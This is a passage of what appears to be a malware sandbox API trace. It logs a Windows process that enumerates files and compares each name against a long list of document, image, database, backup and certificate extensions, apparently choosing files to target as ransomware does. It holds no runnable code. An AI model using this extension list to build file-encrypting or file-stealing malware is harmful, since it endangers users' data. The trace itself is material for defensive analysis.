lpFindFileData=0x39ffa7c) returned 1 [0291.688] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.688] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.688] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.688] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.688] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.689] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.689] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.689] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.689] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.690] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.691] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.691] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.691] FindNextFileW (in: hFindFile=0x7fd148, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c) returned 1 [0291.773] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x700000) returned 1 [0291.773] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.773] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43a0050 | out: hHeap=0x700000) returned 1 [0291.773] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x39ffcf8 | out: lpFindFileData=0x39ffcf8) returned 1 [0291.774] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x43f0880 | out: hHeap=0x700000) returned 1 [0291.774] FindNextFileW (in: hFindFile=0x7fd088, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800) returned 1 [0291.777] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x753300, Size=0x4000) returned 0x4410890 [0291.778] FindNextFileW (in: hFindFile=0x7fcf88, lpFindFileData=0x39ff308 | out: lpFindFileData=0x39ff308) returned 1 [0291.778] lstrlenW (lpString="mso20win32client.dll") returned 20 [0291.778] lstrlenW (lpString=".1cd") returned 4 [0291.778] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.778] lstrlenW (lpString=".3ds") returned 4 [0291.778] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0291.778] lstrlenW (lpString=".3fr") returned 4 [0291.778] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0291.778] lstrlenW (lpString=".3g2") returned 4 [0291.778] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0291.778] lstrlenW (lpString=".3gp") returned 4 [0291.778] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0291.778] lstrlenW (lpString=".7z") returned 3 [0291.778] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.778] lstrlenW (lpString=".accda") returned 6 [0291.778] lstrcmpiW (lpString1=".accda", lpString2="nt.dll") returned -1 [0291.778] lstrlenW (lpString=".accdb") returned 6 [0291.778] lstrcmpiW (lpString1=".accdb", lpString2="nt.dll") returned -1 [0291.778] lstrlenW (lpString=".accdc") returned 6 [0291.778] lstrcmpiW (lpString1=".accdc", lpString2="nt.dll") returned -1 [0291.778] lstrlenW (lpString=".accde") returned 6 [0291.778] lstrcmpiW (lpString1=".accde", lpString2="nt.dll") returned -1 [0291.778] lstrlenW (lpString=".accdt") returned 6 [0291.778] lstrcmpiW (lpString1=".accdt", lpString2="nt.dll") returned -1 [0291.778] lstrlenW (lpString=".accdw") returned 6 [0291.778] lstrcmpiW (lpString1=".accdw", lpString2="nt.dll") returned -1 [0291.779] lstrlenW (lpString=".adb") returned 4 [0291.779] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".adp") returned 4 [0291.779] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".ai") returned 3 [0291.779] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0291.779] lstrlenW (lpString=".ai3") returned 4 [0291.779] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".ai4") returned 4 [0291.779] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".ai5") returned 4 [0291.779] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".ai6") returned 4 [0291.779] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".ai7") returned 4 [0291.779] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".ai8") returned 4 [0291.779] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".anim") returned 5 [0291.779] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1 [0291.779] lstrlenW (lpString=".arw") returned 4 [0291.779] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".as") returned 3 [0291.779] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0291.779] lstrlenW (lpString=".asa") returned 4 [0291.779] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0291.779] lstrlenW (lpString=".asc") returned 4 [0291.779] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".ascx") returned 5 [0291.780] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1 [0291.780] lstrlenW (lpString=".asm") returned 4 [0291.780] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".asmx") returned 5 [0291.780] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1 [0291.780] lstrlenW (lpString=".asp") returned 4 [0291.780] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".aspx") returned 5 [0291.780] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1 [0291.780] lstrlenW (lpString=".asr") returned 4 [0291.780] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".asx") returned 4 [0291.780] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".avi") returned 4 [0291.780] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".avs") returned 4 [0291.780] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".backup") returned 7 [0291.780] lstrcmpiW (lpString1=".backup", lpString2="ent.dll") returned -1 [0291.780] lstrlenW (lpString=".bak") returned 4 [0291.780] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".bay") returned 4 [0291.780] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".bd") returned 3 [0291.780] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0291.780] lstrlenW (lpString=".bin") returned 4 [0291.780] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0291.780] lstrlenW (lpString=".bmp") returned 4 [0291.780] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".bz2") returned 4 [0291.781] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".c") returned 2 [0291.781] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0291.781] lstrlenW (lpString=".cdr") returned 4 [0291.781] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".cer") returned 4 [0291.781] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".cf") returned 3 [0291.781] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0291.781] lstrlenW (lpString=".cfc") returned 4 [0291.781] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".cfm") returned 4 [0291.781] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".cfml") returned 5 [0291.781] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1 [0291.781] lstrlenW (lpString=".cfu") returned 4 [0291.781] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".chm") returned 4 [0291.781] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".cin") returned 4 [0291.781] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".class") returned 6 [0291.781] lstrcmpiW (lpString1=".class", lpString2="nt.dll") returned -1 [0291.781] lstrlenW (lpString=".clx") returned 4 [0291.781] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0291.781] lstrlenW (lpString=".config") returned 7 [0291.781] lstrcmpiW (lpString1=".config", lpString2="ent.dll") returned -1 [0291.781] lstrlenW (lpString=".cpp") returned 4 [0291.782] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".cr2") returned 4 [0291.782] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".crt") returned 4 [0291.782] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".crw") returned 4 [0291.782] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".cs") returned 3 [0291.782] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0291.782] lstrlenW (lpString=".css") returned 4 [0291.782] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".csv") returned 4 [0291.782] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".cub") returned 4 [0291.782] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".dae") returned 4 [0291.782] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".dat") returned 4 [0291.782] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".db") returned 3 [0291.782] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0291.782] lstrlenW (lpString=".dbf") returned 4 [0291.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".dbx") returned 4 [0291.782] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".dc3") returned 4 [0291.782] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".dcm") returned 4 [0291.782] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0291.782] lstrlenW (lpString=".dcr") returned 4 [0291.783] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0291.783] lstrlenW (lpString=".der") returned 4 [0291.783] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0291.783] lstrlenW (lpString=".dib") returned 4 [0291.783] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0291.783] lstrlenW (lpString=".dic") returned 4 [0291.783] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0291.783] lstrlenW (lpString=".dif") returned 4 [0291.783] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0291.783] lstrlenW (lpString=".divx") returned 5 [0291.783] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1 [0291.783] lstrlenW (lpString=".djvu") returned 5 [0291.783] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1 [0291.783] lstrlenW (lpString=".dng") returned 4 [0291.783] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0291.783] lstrlenW (lpString=".doc") returned 4 [0291.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.783] lstrlenW (lpString=".docm") returned 5 [0291.783] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1 [0291.783] lstrlenW (lpString=".docx") returned 5 [0291.783] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0291.783] lstrlenW (lpString=".dot") returned 4 [0291.783] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0291.783] lstrlenW (lpString=".dotm") returned 5 [0291.783] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1 [0291.783] lstrlenW (lpString=".dotx") returned 5 [0291.783] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1 [0291.783] lstrlenW (lpString=".dpx") returned 4 [0291.783] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0291.783] lstrlenW (lpString=".dqy") returned 4 [0291.784] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".dsn") returned 4 [0291.784] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".dt") returned 3 [0291.784] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0291.784] lstrlenW (lpString=".dtd") returned 4 [0291.784] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".dwg") returned 4 [0291.784] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".dwt") returned 4 [0291.784] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".dx") returned 3 [0291.784] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0291.784] lstrlenW (lpString=".dxf") returned 4 [0291.784] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".edml") returned 5 [0291.784] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1 [0291.784] lstrlenW (lpString=".efd") returned 4 [0291.784] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".elf") returned 4 [0291.784] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".emf") returned 4 [0291.784] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".emz") returned 4 [0291.784] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".epf") returned 4 [0291.784] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0291.784] lstrlenW (lpString=".eps") returned 4 [0291.784] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".epsf") returned 5 [0291.785] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1 [0291.785] lstrlenW (lpString=".epsp") returned 5 [0291.785] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1 [0291.785] lstrlenW (lpString=".erf") returned 4 [0291.785] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".exr") returned 4 [0291.785] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".f4v") returned 4 [0291.785] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".fido") returned 5 [0291.785] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1 [0291.785] lstrlenW (lpString=".flm") returned 4 [0291.785] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".flv") returned 4 [0291.785] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".frm") returned 4 [0291.785] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".fxg") returned 4 [0291.785] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".geo") returned 4 [0291.785] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".gif") returned 4 [0291.785] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0291.785] lstrlenW (lpString=".grs") returned 4 [0291.785] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".gz") returned 3 [0291.786] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0291.786] lstrlenW (lpString=".h") returned 2 [0291.786] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0291.786] lstrlenW (lpString=".hdr") returned 4 [0291.786] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".hpp") returned 4 [0291.786] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".hta") returned 4 [0291.786] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".htc") returned 4 [0291.786] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".htm") returned 4 [0291.786] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".html") returned 5 [0291.786] lstrcmpiW (lpString1=".html", lpString2="t.dll") returned -1 [0291.786] lstrlenW (lpString=".icb") returned 4 [0291.786] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".ics") returned 4 [0291.786] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".iff") returned 4 [0291.786] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".inc") returned 4 [0291.786] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".indd") returned 5 [0291.786] lstrcmpiW (lpString1=".indd", lpString2="t.dll") returned -1 [0291.786] lstrlenW (lpString=".ini") returned 4 [0291.786] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".iqy") returned 4 [0291.786] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".j2c") returned 4 [0291.786] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".j2k") returned 4 [0291.786] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0291.786] lstrlenW (lpString=".java") returned 5 [0291.786] lstrcmpiW (lpString1=".java", lpString2="t.dll") returned -1 [0291.786] lstrlenW (lpString=".jp2") returned 4 [0291.786] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".jpc") returned 4 [0291.787] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".jpe") returned 4 [0291.787] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".jpeg") returned 5 [0291.787] lstrcmpiW (lpString1=".jpeg", lpString2="t.dll") returned -1 [0291.787] lstrlenW (lpString=".jpf") returned 4 [0291.787] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".jpg") returned 4 [0291.787] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".jpx") returned 4 [0291.787] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".js") returned 3 [0291.787] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0291.787] lstrlenW (lpString=".jsf") returned 4 [0291.787] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".json") returned 5 [0291.787] lstrcmpiW (lpString1=".json", lpString2="t.dll") returned -1 [0291.787] lstrlenW (lpString=".jsp") returned 4 [0291.787] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".kdc") returned 4 [0291.787] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".kmz") returned 4 [0291.787] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".kwm") returned 4 [0291.787] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".lasso") returned 6 [0291.787] lstrcmpiW (lpString1=".lasso", lpString2="nt.dll") returned -1 [0291.787] lstrlenW (lpString=".lbi") returned 4 [0291.787] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".lgf") returned 4 [0291.787] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".lgp") returned 4 [0291.787] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".log") returned 4 [0291.787] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0291.787] lstrlenW (lpString=".m1v") returned 4 [0291.788] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".m4a") returned 4 [0291.788] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".m4v") returned 4 [0291.788] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".max") returned 4 [0291.788] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".md") returned 3 [0291.788] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0291.788] lstrlenW (lpString=".mda") returned 4 [0291.788] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mdb") returned 4 [0291.788] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mde") returned 4 [0291.788] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mdf") returned 4 [0291.788] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mdw") returned 4 [0291.788] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mef") returned 4 [0291.788] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mft") returned 4 [0291.788] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mfw") returned 4 [0291.788] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mht") returned 4 [0291.788] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mhtml") returned 6 [0291.788] lstrcmpiW (lpString1=".mhtml", lpString2="nt.dll") returned -1 [0291.788] lstrlenW (lpString=".mka") returned 4 [0291.788] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1 [0291.788] lstrlenW (lpString=".mkidx") returned 6 [0291.788] lstrcmpiW (lpString1=".mkidx", lpString2="nt.dll") returned -1 [0291.789] lstrlenW (lpString=".mkv") returned 4 [0291.789] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mos") returned 4 [0291.789] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mov") returned 4 [0291.789] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mp3") returned 4 [0291.789] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mp4") returned 4 [0291.789] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mpeg") returned 5 [0291.789] lstrcmpiW (lpString1=".mpeg", lpString2="t.dll") returned -1 [0291.789] lstrlenW (lpString=".mpg") returned 4 [0291.789] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mpv") returned 4 [0291.789] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mrw") returned 4 [0291.789] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".msg") returned 4 [0291.789] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".mxl") returned 4 [0291.789] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".myd") returned 4 [0291.789] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".myi") returned 4 [0291.789] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".nef") returned 4 [0291.789] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1 [0291.789] lstrlenW (lpString=".nrw") returned 4 [0291.789] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".obj") returned 4 [0291.790] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".odb") returned 4 [0291.790] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".odc") returned 4 [0291.790] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".odm") returned 4 [0291.790] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".odp") returned 4 [0291.790] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".ods") returned 4 [0291.790] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".oft") returned 4 [0291.790] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".one") returned 4 [0291.790] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".onepkg") returned 7 [0291.790] lstrcmpiW (lpString1=".onepkg", lpString2="ent.dll") returned -1 [0291.790] lstrlenW (lpString=".onetoc2") returned 8 [0291.790] lstrcmpiW (lpString1=".onetoc2", lpString2="ient.dll") returned -1 [0291.790] lstrlenW (lpString=".opt") returned 4 [0291.790] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".oqy") returned 4 [0291.790] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".orf") returned 4 [0291.790] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".p12") returned 4 [0291.790] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0291.790] lstrlenW (lpString=".p7b") returned 4 [0291.790] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".p7c") returned 4 [0291.791] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pam") returned 4 [0291.791] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pbm") returned 4 [0291.791] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0291.791] lstrlenW (lpString=".pct") returned 4 [0291.791] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0291.791] lstrlenW 